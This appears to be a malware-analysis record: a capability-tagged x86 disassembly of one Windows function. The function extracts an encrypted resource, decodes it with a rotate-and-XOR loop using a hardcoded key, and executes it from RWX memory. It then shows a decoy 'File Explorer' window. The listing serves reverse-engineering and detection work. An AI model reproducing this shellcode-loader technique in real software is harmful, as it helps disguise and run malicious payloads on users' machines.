Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x34], str.xqkwzxkxvhrvt
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
push 0xa
push 0x35b
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40104a
xor eax, eax
jmp 0x401290
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x28], 0
jne 0x401079
xor eax, eax
jmp 0x401290
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x30], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4010a9
xor eax, eax
jmp 0x401290
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004020e0
add esp, 0xc
push 0x2faf080
call fcn.0040302b
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4010da
xor eax, eax
jmp 0x401290
push 0x2faf080
push 0xff
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00402660
add esp, 0xc
mov dword [ebp - 8], 0
jmp 0x401102
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1c]
jae 0x401151
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x20]
mov cl, byte [eax]
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
sar edx, 3
movzx eax, byte [ebp - 1]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 2]
xor edx, ecx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov eax, dword [ebp - 0x20]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x20], edx
jmp 0x4010f9
mov eax, dword [ebp - 0xc]
call eax
mov edx, dword [ebp - 0x24]
push edx
call fcn.00403010
add esp, 4
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], 0x4012a0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x38], str.BasicFileExplorer
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x4011ae
xor eax, eax
jmp 0x401290
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0x1e0
push 0x280
push 0x80000000
push 0x80000000
push 0xcf0000
push str.File_Explorer
mov edx, dword [ebp - 0x38]
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4011f2
xor eax, eax
jmp 0x401290
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 0x60], 1
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
push 0x1e0
push 0x280
push 0
push 0
push 0x50000001
push 0x40c2b0
push str.SysListView32
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004012e0
push 0xa
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004013a0
push 0
push 0
push 0
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x40128d
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x401263
mov eax, dword [ebp - 0x78]
mov esp, ebp
pop ebp
ret 0x10